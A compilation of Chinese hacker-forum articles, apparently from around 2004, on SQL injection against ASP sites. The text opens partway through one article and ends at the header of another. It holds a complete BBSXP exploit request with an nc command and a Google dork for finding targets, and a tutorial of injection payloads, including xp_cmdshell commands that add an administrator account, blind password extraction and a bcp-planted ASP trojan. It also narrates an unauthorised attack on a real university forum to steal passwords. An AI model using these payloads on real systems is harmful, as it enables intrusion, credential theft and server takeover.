其中有颜色部分是我们要输入的searchxm的值，中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义，就是让union 前面的语句为假，因为forumid不可能为0，union后面只查询出一条记录，其中包含了管理员的用户名和加密密码，还有社区管理的加密密码，懂SQL语句的朋友一看就明白了。其中数字1没有意义，只是为了匹配字段的类型，保证union前后字段数目和类型一致就行了。这里可以任意构造，有兴趣的朋友可以构造自己的查询，我给出的只是一个参考。

构造好了输入语句，还要构造提交。这时就要想到WSE这个经典之作，如果有人认为对HTTP协议已经熟的可以自己写提交字符串，我也应该劝他省省体力和脑力。

[图1]

[图2]

构造的提交如下：

POST /bbsxp/search.asp?menu=ok HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://localhost:8000/bbsxp/search.asp

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)

Host: localhost:8000

Content-Length: 481

Connection: Keep-Alive

Cache-Control: no-cache
Cookie: eremite=0;
        userpass=E80B5017098950FC58AAD83C8C14978E; username=admin; skins=1;
        ASPSESSIONIDSSRQSDTB=OGLJMADCECKAFKGCPCCHBKHO;
        onlinetime=2004%2D8%2D13+20%3A08%3A33; addmin=0

content=fsaf&search=author&searchxm=%20forumid%3D0+union+all+select+top+1+1%2C1%2C%5Buser%5D.username+as+topic%2Cforum.username%2Ccontent%2Cforum.posttime%2Cforum.postip%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%5Buser%5D.userpass+as+lastname%2Clasttime%2Cpolltopic%2Cclubconfig.adminpassword+as+pollresult%2C1+from+%5Buser%5D%2Cforum%2Cclubconfig+where+%5Buser%5D.membercode%3D5+or+forum.id%3D0+or+clubconfig.adminpassword&searchxm2=topic&TimeLimit=&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7

其中searchxm部分我自己写了个HTML页面，用WSE截获就可以获得编码了。

这里有个地方需要注意，就是COOKIE中的username和userpass必须是自己真实的。

把上面的代码保存到记事本中用nc提交

nc -vv host port<post.txt >a.txt

post.txt为提交信息，a.txt用来接受返回数据。

返回如下信息:

...

...

<script>ShowForum("1","abcdef","","昨夜长风","1","1","1","1","21232F297A57A5A743894A0E4A801FC3","1","1","67BA892B516067544ED15DE74B3DD2DD","2004-7-15 18:45:45");</script>

...

...

返回信息中类似上面的结构只有一条，其中abcdef为管理员用户名，两个32位长字符串，前者为abcdef的加密密码，后者为社区管理加密的密码，用的都是MD5加密。

到这里我想大家已经知道怎样利用了。可以利用Cookie欺骗进行前台管理，这要用到IECookiesView,具体过程请看相关教程，在此不再赘述。如果大家有时间可以用MD5CrackV2.2.exe暴力破解后台加密的密码，这个工具确实很实用，8位数字密码几分钟（我的机子）就可以破解了，所以10位数字和8为小写字母都可以强破。

想找BBSXP论坛，可以在Google上输入"Powered by BBSxp 5.00"，80%以上网站存在此漏洞。

三 .总结

本人由于书写匆忙，文章有些地方可能需要理解，拙劣之处还请大家见凉，不足之处请指出。写此文章只是给大家抛砖引玉，分享一下自己的经验，也提醒大家寻找漏洞时要把握程序的结构和流程，提醒作者写程序时不因细小而忽略。其实漏洞修补很简单，只要searchxm部分不是用用户输入，而是程序设定就没问题了，也没必要改变HTMLEncode函数。

暑假闲着无事，顺便把漏洞利用程序写了出来，免的象上次一样自己发现的漏洞让别人帮忙写程序。希望大家不用利用漏洞做破坏，一切后果自己负责。


[原创]SQL注入葵花宝典（基础篇）
文章作者：小珂[EST-EvilOctal Security Team]
信息来源：中国 邪恶八进制（http://www.eviloctal.com/）
文章版权：版权归黑客基地所有 转载请注明出处
说明:本文分基础篇和高级篇
基础篇重在一些基本的概念和步骤
高级篇重在于一些技巧
许多刚入门的小菜们可能会经常听到SQL注入这个词汇，
但更多人的可能对SQL并不怎么了解，只是感觉是一种
很神秘的黑客入侵手段，所以我就想系统的介绍和总结一下
帮你揭开它的神秘面纱
在写本文之前，我参阅了一些相关资料，下面就让我们一起进入
神秘的黑客注入世界（*别又拿砖头扔我了，我刚从医院出来：））
<一>SQL注入简介
许多网站程序在编写时，没有对用户输入数据的合法性进行判断，
使应用程序存在安全隐患。用户可以提交一段数据库查询代码，
（一般是在浏览器地址栏进行,通过正常的www端口访问）
根据程序返回的结果，获得某些他想得知的数据，
这就是所谓的SQL Injection，即SQL注入。
<二>SQL注入思路
思路最重要
其实好多人都不知道SQL到底能做什么呢
这里总结一下SQL注入入侵的总体的思路
1. SQL注入漏洞的判断，即寻找注入点
2. 判断后台数据库类型
3. 确定XP_CMDSHELL可执行情况；若当前连接数据的帐号具有SA权限，
且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过几种方法完全控制，也就完成了整个注入过程
否则继续：
1. 发现WEB虚拟目录
2. 上传ASP木马；
3. 得到管理员权限

具体步骤

一、SQL注入漏洞的判断
如果以前没玩过注入，
请把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚，以下以asp?id=xx(" target=_blank>http://www.hackbase.com/news.asp?id=xx(这个地址是假想的)
为例进行分析，xx可能是整型，也有可能是字符串。
1、整型参数的判断
当输入的参数xx为整型时，通常news.asp中SQL语句原貌大致如下：
select * from 表名 where 字段=xx，所以可以用以下步骤测试SQL注入是否存在。
最简单的判断方法
http://www.hackbase.com/news.asp?id=xx’(附加一个单引号)，
此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’，
如果程序没有过滤好“’”的话
就会提示 news.asp运行异常；
但这样的方法虽然很简单，但并不是最好的
因为
first,不一定每台服务器的IIS都返回具体错误提示给客户端，
如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，
但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。
请和系统管理员联络。
second，目前大多数程序员已经将“’“ 过滤掉，所以用” ’”测试不到注入点
所以一般使用经典的1=1和1=2测试方法
见下文：
http://www.hackbase.com/news.asp?id=xx and 1=1, news.asp运行正常，
而且与http://www.hackbase.com/news.asp?id=xx运行结果相同；
http://www.hackbase.com/news.asp?id=xx and 1=2, news.asp运行异常；（这就是经典的 1=1 ;1=2 判断方法）
如果以上面满足，news.asp中就会存在SQL注入漏洞，反之则可能不能注入。
2、字符串型参数的判断
方法与数值型参数判断方法基本相同
当输入的参数xx为字符串时，通常news.asp中SQL语句原貌大致如下：
select * from 表名 where 字段='xx'，所以可以用以下步骤测试SQL注入是否存在。
http://www.hackbase.com/news.asp?id=xx’(附加一个单引号)，此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’，news.asp运行异常；
http://www.hackbase.com/news.asp?id=xx and '1'='1', news.asp运行正常，
而且与http://www.hackbase.com/news.asp?id=xx运行结果相同；
http://www.hackbase.com/news.asp?id=xx and '1'='2', news.asp运行异常；
如果以上满足，则news.asp存在SQL注入漏洞，反之则不能注入
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用SelecT代替select,SELECT等；
②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等
；URLEncode信息参见附件一；
③ASCII码法：可以把输入的部分或全部字符全部
<4>出了上述方法以外，还有个更简单的方法就是使用现成的工具
像NB联盟的NBSI就是一款很不错的工具，目前最新的版本为2.2

二,判断数据库类型
不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢？来看看：
SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：
asp?id=xx;and" target=_blank>http://www.hackbase.com/news.asp?id=xx;and user>0
这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错
提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。 顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。
如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表
[sysobjects]中，在Web环境下可正常读取。
在确认可以注入的情况下，使用下面的语句：
http://www.hackbase.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
http://www.hackbase.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0
如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.hackbase.com/news.asp?id=xx是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。
如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。

三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限，
且master.dbo.xp_cmdshell扩展存储过程
(调用此存储过程可以直接使用操作系统的shell)能够正确执行，
则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省
1、http://www.hackbase.com/news.asp?id=xx and user>0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、http://www.hackbase.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接的数据库名。
3、http://www.hackbase.com/news.asp?id=xx；exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据
库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；“—”号是注解，表示其后面的所有内容仅为注释，系统并
不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、http://www.hackbase.com/news.asp?id=xx；exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加
的帐户aaa加到administrators组中。
5、http://www.hackbase.com/news.asp?id=xx；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容
全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
asp?id=xx;exec" target=_blank>http://www.hackbase.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe
c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
这样你就成功的完成了一次SQL注入攻击，先别兴奋，在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ，下面GO ON
如果上述条件不成立则需继续奋斗（要挂马了：））
GO ON~!
当上述条件不成立时就要继续下面的步骤
(一)、发现WEB虚拟目录
只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。
一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot;
D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；
先创建一个临时表：temp
asp?id=xx;create" target=_blank>http://www.hackbase.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--
接下来：
1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中：
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
这样就可以成功的浏览到所有的目录（文件夹）列表：
如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。
当然，如果xp_cmshell能够执行，我们可以用它来完成：
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
通过xp_cmdshell我们可以看到所有想看到的，包括W3svc
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
但是，如果不是SA权限，我们还可以使用
asp?id=xx;insert" target=_blank>http://www.hackbase.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
注意：
1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：
asp?id=xx;delete" target=_blank>http://www.hackbase.com/news.asp?id=xx;delete from temp;--
2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)
http://www.hackbase.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值，并与
整数进行比较，显然news.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则
http://www.hackbase.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。
(二)、上传ASP木马
所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：
1、利用WEB的远程管理功能
许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。
因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、 注入法：
从理论上说，认证网页中会有型如：
select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。
如在用户名文本框内输入：abc’ or 1=1-- 在密码框内输入：123 则SQL语句变成：
select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。
B、猜解法：
基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。
a 猜解所有数据库名称
http://www.hackbase.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出
错),news.asp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12…就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
b 猜解数据库中用户名表的名称
猜解法：此方法就是根据个人的经验猜表名，一般来说，
user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysacc
ounts,systemaccounts等。并通过语句进行判断
http://www.hackbase.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在，则news.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。
读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进
行访问。
当xtype='U' and status>0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：
①http://www.hackbase.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0
得到第一个用户建立表的名称，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则
②http://www.hackbase.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。
根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。
c 猜解用户名字段及密码字段名称
admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。
猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用
：password,pass,pwd,passwd等。并通过语句进行判断
http://www.hackbase.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”
语句得到表的行数，所以若字段名存在，则news.asp工作正常，否则异常。如此循环，直到猜到两个字段的名称。
读取法：基本的实现方法是
http://www.hackbase.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然news.asp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。
d 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有：
ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密
码的方法相同，以下以猜用户名为例说明其过程。
http://www.hackbase.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2，3,4，5，… n，username
为用户名字段的名称，admin为表的名称)，若x为某一值i且news.asp运行正常时，则i就是第一个用户名的长度。如：当输入
http://www.hackbase.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时news.asp运行正常，则第一个用户名的长度为8
http://www.hackbase.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且news.asp运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入
http://www.hackbase.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时news.asp运行正常，则用户名的第三位为P(P的ASCII为80)；
http://www.hackbase.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时news.asp运行正常，则用户名的第9位为!(!的ASCII为80)；
猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经MD5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。简单法：猜用户名用
http://www.hackbase.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一个字段，username是用户名字段，此时news.asp工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。
猜用户密码：http://www.hackbase.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段，pwd是密码字段，此时news.asp工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。
asp?id=xx;update" target=_blank>http://www.hackbase.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)
用同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个
ASP木马，然后用BCP命令导出形成ASP文件。
命令行格式如下：
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\hackbase.asp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个hackbase.asp的木马)
3、利用工具，如NBSI
给出的一些参考数据
最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名（默认sql数据库中存在着的）
public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID
(三)、得到系统的管理员权限
ASP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：
上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；
复制CMD.exe到scripts，人为制造UNICODE漏洞；
下载SAM文件，破解并获取OS的所有用户名密码；
等等，视系统的具体情况而定，可以采取不同的方法。
BY 黑基 小珂[EST]
QQ:43827410

参考文献：《SQL注入天书》
《SQL注入小结》
《SQL注入一日成》


Access Injection在论坛上的实例运用
——给桂林电子工业学院计算机系年级论坛的安全检测（发在漏洞修补之后）
前言：谨以此文献给我最爱的父母，感谢他们对我多年来的养育之恩。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
寒假在家上网，闲来无事，浏览起了我们专业02级的年级主页。看看时间已经是凌晨2:19分了，给02级的年级主页做个小的安全检测吧，前段时间我粗略查看过一下，文章系统好象是存在Injection问题的，练习练习也不错么。
……
遗憾，管理员修补了文章系统的漏洞，那么我们从论坛下手吧。这个是BBSXP的论坛，记得是有漏洞的。粗略查看了一下，是BBSXP-Access版，脑袋里马上反映出BBSXP的friend.asp文件漏洞导致注入的问题。于是注册了一个用户杀进论坛，直奔好友管理页。HO~问题果然存在。
下面我们来看看对此漏洞的分析，先看看有问题的代码吧：
……
sub add
if Request("username")="" then
error2("请输入您要添加的好友名字！")
end if
……
if Request("username")=Request.Cookies("username") then
error2("不能添加自己！")
end if
……
sql="select friend from user where username='"&Request("username")&"'" *************
rs.Open sql,Conn,1
if rs.eof then
error2("数据库不存在此用户的资料！")
end if
rs.close
……
sql="select friend from user where username='"&Request.Cookies("username")&"'"
rs.Open sql,Conn,1,3
if instr(rs("friend"),"|"&Request("username")&"|")>0 then
error2("此好友已经添加！")
end if
rs("friend")=""&rs("friend")&""&Request("username")&"|"
rs.update
rs.close
index
end sub
……

先放着上面的问题我们不说，我们先来阅读一下中国台湾恒逸资讯教育训练处系统开发部的资深讲师胡百敬老师写的文章《SQL Injection》，文中有这么一处对Injection的引导性详细介绍。
最初由胡百敬老师所说
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & _
Request("Pass") & "'"
'直接交給 SQL Server 執行，這是最危險的地方
Set rec=cnn.Execute(strSQL)
If NOT rec.EOF Then
…

看明白了么？那么同样一个道理，虽然是Access上的问题，但是却是换汤不换药。
现在再来看看我刚才发的那个BBSXP中有问题的代码，程序没有对username这个变量进行任何处理就直接提交了。那么一般的说，我们输入一个论坛的注册用户，那么系统会执行命令将这个用户加成我们的好友。可是由于没过滤变量，那么我们就可以通过这一功能来得到某注册用户的密码！
（时间2:45，晕了晕了~~~~~~~~）
那么现在我们就开始吧，来添加社区区长target（请允许这里屏蔽区长的用户名）的用户前台密码，最艰苦的时间到了。来到好友添加的地方点“添加好友”，跳出提示框。
输入
target' and len(userpass)=5 and '1
确定后提示添加好友成功。看来密码是5位了。（哪有那么巧啊？当然是从1试到5啦，如果愿意可以用大于小于确定范围，更快。）
那么下一步就来试密码，最辛苦的时候到来了，请大加准备好一张ASCII码表，因为我们是用ASCII码来探测密码的。
现在我们猜想，一般的用户设置密码都喜欢用数字和字母，那么我们猜的时候为了避免工作量，就先从数字开始猜！字母数字都不行再来猜其他的。
那么我猜target用户的第一位密码是0，0的ASCII码是48，先输入
target' and asc(mid(userpass,1,1))=48 and '1
确定，提示添加好友成功。看来第一位密码是0！依此下去我猜到了target用户的密码是02target。
这下有了前台密码。先用这个密码登录论坛，我选择了隐身登录（被人发现就不好了），登录后发现上方出现了管理入口，我点了一下，出现管理项目，但是要先输入密码登录！我注意到了登录后台没问用户名，这就告诉我，后台和前台用户名是一样的。那密码会不会设置一样呢，很多人都把N多密码设置同样的密码，所以决定尝试一下？结果——失败！晕……那不是还要猜后台密码？
没办法，来分析一下setup.asp文件吧。
后台的管理的密码为adminpassword,它是在setup.asp中定义的，这些你都要去现成的资料里查找！代码如下：
Set Conn=Server.CreateObject("ADODB.Connection")
Connstr="DBQ="&server.mappath(datafile)&";DRIVER={Microsoft Access Driver (*.mdb)};"
Conn.Open Connstr
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from clubconfig"
rs.Open sql,Conn,1
clubname=rs("clubname")
cluburl=rs("cluburl")
associatortol=rs("associatortol")
newassociator=rs("newassociator")
administrators=rs("administrators")
adminpassword=rs("adminpassword") ****************
homeurl=rs("homeurl")
homename=rs("homename")
affichetitle=rs("affichetitle")
affichecontent=rs("affichecontent")
affichetime=rs("affichetime")
afficheman=rs("afficheman")
badwords=rs("badwords")
allclass=rs("allclass")
selectmail=rs("selectmail")
smtp=rs("smtp")
smtpmail=rs("smtpmail")
rs.close

clubconfig表中的adminpassword字段和friend.asp用的表不一样，所以这里要用到跨表子查询。但是setup.asp是不存在问题的，所以还要用friend.asp做入口。
于是根据密码心理学，我首先猜测他的密码也是5位！
输入
target' and exists (select administrators from clubconfig where len(adminpassword)=5) and '1
YES！竟然对了？
晕晕晕……
（看了一下表3:12了，抓紧时间干哪！）
现在来猜后台密码的第一位，输入
target' and exists (select administrators from clubconfig where asc(mid(adminpassword,1,1))=48) and '1
HO~又对了，此时我的好友栏已经N个同名的好友了……用上面的方法猜到后台密码的ASCII码值是48、50、98、98、115，那就是02bbs。
现在来登录看看，天~我终于进去了后台，但是觉得BBSXP的后台好破烂啊。
兴探之际，眼睛一亮发现了一个重大的问题！！！
这也是本文重点所在，就是想告诉大家，以后注册YUZI论坛要小心了！
原来BBSXP的论坛超级管理员是可以明文查看用户的密码的:o，那如果管理员有点歪心……很多人的密码N多个地方的密码可是都是用相同的啊。反正国外制造的Invision Power Board论坛管理员是根本不能明文查看用户的论坛密码的，最多只能修改！真搞不懂YUZI工作室的人是怎么想的。要是谁用这个借口和他们打官司，狠狠的讹上他们一笔，嘿嘿……不敢想了。
很多人想也许入侵到这里就告一段落了吧？
没有呢，继续渗透啊，不是可以明文查看密码了么？好了，现在我们查看所有人的密码，然后再用这些人的密码登录查看他们的密码保护的问题和答案（明白危害了吧）！
你要我一个一个查？门儿都没有！
不可以登录后台么？后台的系统配置属性里我查看到了数据库的地址……
现在我把数据库下载回来，剩下的不就完成了？想看谁密码有谁密码！
然后再修改上传文件的扩展名传一个webshell再向主机渗透，有了主机的guest权限，想办法提升权限还不容易啊？！从后台看见主机是IIS5，本地溢出那么多，随便一个就搞定了……
不过那都是计划了。今天先告一段落吧。
3:33！困了……睡觉咯~~~~~~~~~~~~~~~~~~~~~
灌水广告：
——文章原创由 中国暗域网络 及 邪恶八进制 冰血封情<EvilOctal>
——Be powered by Hackway Power of Cn & EvilOctal Security Group EvilOctal
——欢迎访问 http://www.hackway.net/ & http://www.eviloctal.com/


[原创]Injection的猜测技术的一些相关总结
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩。本文是在作者若通宵后趋近神智不清的时候总结的，如有遗漏纯属必然。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
